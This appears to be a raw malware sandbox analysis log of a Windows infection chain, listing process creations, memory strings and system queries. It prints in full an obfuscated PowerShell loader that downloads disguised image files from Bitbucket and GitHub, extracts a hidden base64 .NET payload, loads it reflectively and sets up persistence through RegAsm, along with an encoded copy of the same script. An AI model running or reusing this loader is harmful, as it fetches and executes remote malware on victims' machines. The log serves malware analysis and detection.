w#aQBu#Gs#KQ#g#H0#I#Bj#GE#d#Bj#Gg#I#B7#C##YwBv#G4#d#Bp#G4#dQBl#C##fQ#g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I#By#GU#d#B1#HI#bg#g#CQ#bgB1#Gw#b##g#H0#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#Gw#aQBu#Gs#cw#g#D0#I#B##Cg#JwBo#HQ#d#Bw#HM#Og#v#C8#YgBp#HQ#YgB1#GM#awBl#HQ#LgBv#HI#Zw#v#GE#Z#Bz#HM#ZwBm#GQ#cwBn#C8#d#Bl#HM#d#Bp#G4#Zw#v#GQ#bwB3#G4#b#Bv#GE#Z#Bz#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#n#Cw#I##n#Gg#d#B0#H##cw#6#C8#LwBy#GE#dw#u#Gc#aQB0#Gg#dQBi#HU#cwBl#HI#YwBv#G4#d#Bl#G4#d##u#GM#bwBt#C8#cwBh#G4#d#Bv#G0#YQBs#G8#LwBh#HU#Z#Bp#HQ#LwBt#GE#aQBu#C8#aQBt#Gc#XwB0#GU#cwB0#C4#agBw#Gc#Pw#x#DQ#N##0#DE#Nw#y#DM#Jw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##J#Bp#G0#YQBn#GU#QgB5#HQ#ZQBz#C##PQ#g#EQ#bwB3#G4#b#Bv#GE#Z#BE#GE#d#Bh#EY#cgBv#G0#T#Bp#G4#awBz#C##J#Bs#Gk#bgBr#HM#Ow#N##o#I##g#C##I##g#C##I##g#C##I##g#C##I#Bp#GY#I##o#CQ#aQBt#GE#ZwBl#EI#eQB0#GU#cw#g#C0#bgBl#C##J#Bu#HU#b#Bs#Ck#I#B7#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##g#D0#I#Bb#FM#eQBz#HQ#ZQBt#C4#V#Bl#Hg#d##u#EU#bgBj#G8#Z#Bp#G4#ZwBd#Do#OgBV#FQ#Rg#4#C4#RwBl#HQ#UwB0#HI#aQBu#Gc#K##k#Gk#bQBh#Gc#ZQBC#Hk#d#Bl#HM#KQ#7##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#I##9#C##Jw#8#Dw#QgBB#FM#RQ#2#DQ#XwBT#FQ#QQBS#FQ#Pg#+#Cc#Ow#g#CQ#ZQBu#GQ#RgBs#GE#Zw#g#D0#I##n#Dw#P#BC#EE#UwBF#DY#N#Bf#EU#TgBE#D4#Pg#n#Ds#I##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##9#C##J#Bp#G0#YQBn#GU#V#Bl#Hg#d##u#Ek#bgBk#GU#e#BP#GY#K##k#HM#d#Bh#HI#d#BG#Gw#YQBn#Ck#Ow#g##0#Cg#g#C##I##g#C##I##g#C##I##g#C##I##k#GU#bgBk#Ek#bgBk#GU#e##g#D0#I##k#Gk#bQBh#Gc#ZQBU#GU#e#B0#C4#SQBu#GQ#ZQB4#E8#Zg#o#CQ#ZQBu#GQ#RgBs#GE#Zw#p#Ds#DQ#K#C##I##g#C##I##g#C##I##g#C##I##g#C##aQBm#C##K##k#HM#d#Bh#HI#d#BJ#G4#Z#Bl#Hg#I##t#Gc#ZQ#g#D##I##t#GE#bgBk#C##J#Bl#G4#Z#BJ#G4#Z#Bl#Hg#I##t#Gc#d##g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##p#C##ew#g#CQ#cwB0#GE#cgB0#Ek#bgBk#GU#e##g#Cs#PQ#g#CQ#cwB0#GE#cgB0#EY#b#Bh#Gc#LgBM#GU#bgBn#HQ#a##7#C##DQ#K#C##I##g#C	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 function DownloadDataFromLinks { param ([string[]]$links) $webClient = New-Object System.Net.WebClient; $shuffledLinks = Get-Random -InputObject $links -Count $links.Length; foreach ($link in $shuffledLinks) { try { return $webClient.DownloadData($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imageBytes = DownloadDataFromLinks $links; if ($imageBytes -ne $null) { $imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes); $startFlag = '<<BASE64_START>>'; $endFlag = '<<BASE64_END>>'; $startIndex = $imageText.IndexOf($startFlag); $endIndex = $imageText.IndexOf($endFlag); if ($startIndex -ge 0 -and $endIndex -gt $startIndex) { $startIndex += $startFlag.Length; $base64Length = $endIndex - $startIndex; $base64Command = $imageText.Substring($startIndex, $base64Length); $commandBytes = [System.Convert]::FromBase64String($base64Command); $loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes); $type = $loadedAssembly.GetType('testpowershell.Home'); $method = $type.GetMethod('la').Invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/AKISEAWUEJI/moc.tnetnocresubuhtig.war//:sptth', '0', 'StartupName', 'RegAsm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe"	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#ge#z#bz#hm#zwbm#gq#cwbn#c8#d#bl#hm#d#bp#g4#zw#v#gq#bwb3#g4#b#bv#ge#z#bz#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#n#cw#i##n#gg#d#b0#h##cw#6#c8#lwby#ge#dw#u#gc#aqb0#gg#dqbi#hu#cwbl#hi#ywbv#g4#d#bl#g4#d##u#gm#bwbt#c8#cwbh#g4#d#bv#g0#yqbs#g8#lwbh#hu#z#bp#hq#lwbt#ge#aqbu#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/akiseawueji/moc.tnetnocresubuhtig.war//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "$codigo = 'wwbo#gu#d##u#fm#zqby#hy#aqbj#gu#u#bv#gk#bgb0#e0#yqbu#ge#zwbl#hi#xq#6#do#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b##g#d0#i#bb#e4#zqb0#c4#uwbl#gm#dqby#gk#d#b5#f##cgbv#hq#bwbj#g8#b#bu#hk#c#bl#f0#og#6#fq#b#bz#de#mg#n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgb1#g4#ywb0#gk#bwbu#c##r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#rgby#g8#bqbm#gk#bgbr#hm#i#b7#c##c#bh#hi#yqbt#c##k#bb#hm#d#by#gk#bgbn#fs#xqbd#cq#b#bp#g4#awbz#ck#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#b3#gu#ygbd#gw#aqbl#g4#d##g#d0#i#bo#gu#dw#t#e8#ygbq#gu#ywb0#c##uwb5#hm#d#bl#g0#lgbo#gu#d##u#fc#zqbi#em#b#bp#gu#bgb0#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#c##pq#g#ec#zqb0#c0#ugbh#g4#z#bv#g0#i##t#ek#bgbw#hu#d#bp#gi#agbl#gm#d##g#cq#b#bp#g4#awbz#c##lqbd#g8#dqbu#hq#i##k#gw#aqbu#gs#cw#u#ew#zqbu#gc#d#bo#ds#i##n##o#i##g#c##i##g#c##i##g#c##i##g#c##zgbv#hi#zqbh#gm#a##g#cg#j#bs#gk#bgbr#c##aqbu#c##j#bz#gg#dqbm#gy#b#bl#gq#t#bp#g4#awbz#ck#i#b7#c##d#by#hk#i#b7#c##cgbl#hq#dqby#g4#i##k#hc#zqbi#em#b#bp#gu#bgb0#c4#r#bv#hc#bgbs#g8#yqbk#eq#yqb0#ge#k##k#gw#aqbu#gs#kq#g#h0#i#bj#ge#d#bj#gg#i#b7#c##ywbv#g4#d#bp#g4#dqbl#c##fq#g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i#by#gu#d#b1#hi#bg#g#cq#bgb1#gw#b##g#h0#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gw#aqbu#gs#cw#g#d0#i#b##cg#jwbo#hq#d#bw#hm#og#v#c8#ygbp#hq#ygb1#gm#awbl#hq#lgbv#hi#zw#v#ge#z#bz#hm#zwbm#gq#cwbn#c8#d#bl#hm#d#bp#g4#zw#v#gq#bwb3#g4#b#bv#ge#z#bz#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#n#cw#i##n#gg#d#b0#h##cw#6#c8#lwby#ge#dw#u#gc#aqb0#gg#dqbi#hu#cwbl#hi#ywbv#g4#d#bl#g4#d##u#gm#bwbt#c8#cwbh#g4#d#bv#g0#yqbs#g8#lwbh#hu#z#bp#hq#lwbt#ge#aqbu#c8#aqbt#gc#xwb0#gu#cwb0#c4#agbw#gc#pw#x#dq#n##0#de#nw#y#dm#jw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##j#bp#g0#yqbn#gu#qgb5#hq#zqbz#c##pq#g#eq#bwb3#g4#b#bv#ge#z#be#ge#d#bh#ey#cgbv#g0#t#bp#g4#awbz#c##j#bs#gk#bgbr#hm#ow#n##o#i##g#c##i##g#c##i##g#c##i##g#c##i#bp#gy#i##o#cq#aqbt#ge#zwbl#ei#eqb0#gu#cw#g#c0#bgbl#c##j#bu#hu#b#bs#ck#i#b7#c##j#bp#g0#yqbn#gu#v#bl#hg#d##g#d0#i#bb#fm#eqbz#hq#zqbt#c4#v#bl#hg#d##u#eu#bgbj#g8#z#bp#g4#zwbd#do#ogbv#fq#rg#4#c4#rwbl#hq#uwb0#hi#aqbu#gc#k##k#gk#bqbh#gc#zqbc#hk#d#bl#hm#kq#7##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##g#cq#cwb0#ge#cgb0#ey#b#bh#gc#i##9#c##jw#8#dw#qgbb#fm#rq#2#dq#xwbt#fq#qqbs#fq#pg#+#cc#ow#g#cq#zqbu#gq#rgbs#ge#zw#g#d0#i##n#dw#p#bc#ee#uwbf#dy#n#bf#eu#tgbe#d4#pg#n#ds#i##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##9#c##j#bp#g0#yqbn#gu#v#bl#hg#d##u#ek#bgbk#gu#e#bp#gy#k##k#hm#d#bh#hi#d#bg#gw#yqbn#ck#ow#g##0#cg#g#c##i##g#c##i##g#c##i##g#c##i##k#gu#bgbk#ek#bgbk#gu#e##g#d0#i##k#gk#bqbh#gc#zqbu#gu#e#b0#c4#sqbu#gq#zqb4#e8#zg#o#cq#zqbu#gq#rgbs#ge#zw#p#ds#dq#k#c##i##g#c##i##g#c##i##g#c##i##g#c##aqbm#c##k##k#hm#d#bh#hi#d#bj#g4#z#bl#hg#i##t#gc#zq#g#d##i##t#ge#bgbk#c##j#bl#g4#z#bj#g4#z#bl#hg#i##t#gc#d##g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##p#c##ew#g#cq#cwb0#ge#cgb0#ek#bgbk#gu#e##g#cs#pq#g#cq#cwb0#ge#cgb0#ey#b#bh#gc#lgbm#gu#bgbn#hq#a##7#c##dq#k#c##i##g#c	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "c:\windows\system32\windowspowershell\v1.0\powershell.exe" "[net.servicepointmanager]::securityprotocol = [net.securityprotocoltype]::tls12 function downloaddatafromlinks { param ([string[]]$links) $webclient = new-object system.net.webclient; $shuffledlinks = get-random -inputobject $links -count $links.length; foreach ($link in $shuffledlinks) { try { return $webclient.downloaddata($link) } catch { continue } }; return $null }; $links = @('https://bitbucket.org/adssgfdsg/testing/downloads/img_test.jpg?144417', 'https://raw.githubusercontent.com/santomalo/audit/main/img_test.jpg?14441723'); $imagebytes = downloaddatafromlinks $links; if ($imagebytes -ne $null) { $imagetext = [system.text.encoding]::utf8.getstring($imagebytes); $startflag = '<<base64_start>>'; $endflag = '<<base64_end>>'; $startindex = $imagetext.indexof($startflag); $endindex = $imagetext.indexof($endflag); if ($startindex -ge 0 -and $endindex -gt $startindex) { $startindex += $startflag.length; $base64length = $endindex - $startindex; $base64command = $imagetext.substring($startindex, $base64length); $commandbytes = [system.convert]::frombase64string($base64command); $loadedassembly = [system.reflection.assembly]::load($commandbytes); $type = $loadedassembly.gettype('testpowershell.home'); $method = $type.getmethod('la').invoke($null, [object[]] ('txt.drmmpgk/niam/sdaeh/sfer/bpayks/akiseawueji/moc.tnetnocresubuhtig.war//:sptth', '0', 'startupname', 'regasm', '0'))}}" .exe -windowstyle hidden -exec	Jump to behavior

Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program Manager
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Program ManagerN
Source: RegAsm.exe, 00000008.00000002.3509300667.0000000000E0A000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000008.00000002.3509300667.0000000000DFB000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \|Program Manager\|

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 8_2_0042C3C6 cpuid

8_2_0042C3C6

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoA,	8_2_0040A7D3
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_00444161
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_004441AC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_00444247
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetLocaleInfoW,	8_2_004442D4
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	8_2_0043D32C
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	8_2_00444524
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,GetLocaleInfoW,GetACP,	8_2_0044464D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetLocaleInfoW,	8_2_00444754
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: GetUserDefaultLCID,IsValidCodePage,IsValidLocale,GetLocaleInfoW,GetLocaleInfoW,	8_2_00444821
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: EnumSystemLocalesW,	8_2_0043CEC5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: IsValidCodePage,_wcschr,_wcschr,GetLocaleInfoW,	8_2_00443EE9

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-GroupPolicy-ClientTools-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\AppvClient\Microsoft.AppV.AppVClientPowerShell.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\Microsoft.AppV.AppvClientComConsumer\v4.0_10.0.0.0__31bf3856ad364e35\Microsoft.AppV.AppvClientComConsumer.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-WOW64-Package~31bf3856ad364e35~amd64~~10.0.19041.1865.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-SecureStartup-Subsystem-Package~31bf3856ad364e35~amd64~en-GB~10.0.19041.1151.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\WindowsPowerShell\v1.0\Modules\BitLocker\Microsoft.BitLocker.Structures.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package03~31bf3856ad364e35~amd64~~10.0.19041.2006.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Desktop-Required-WOW64-Package0013~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
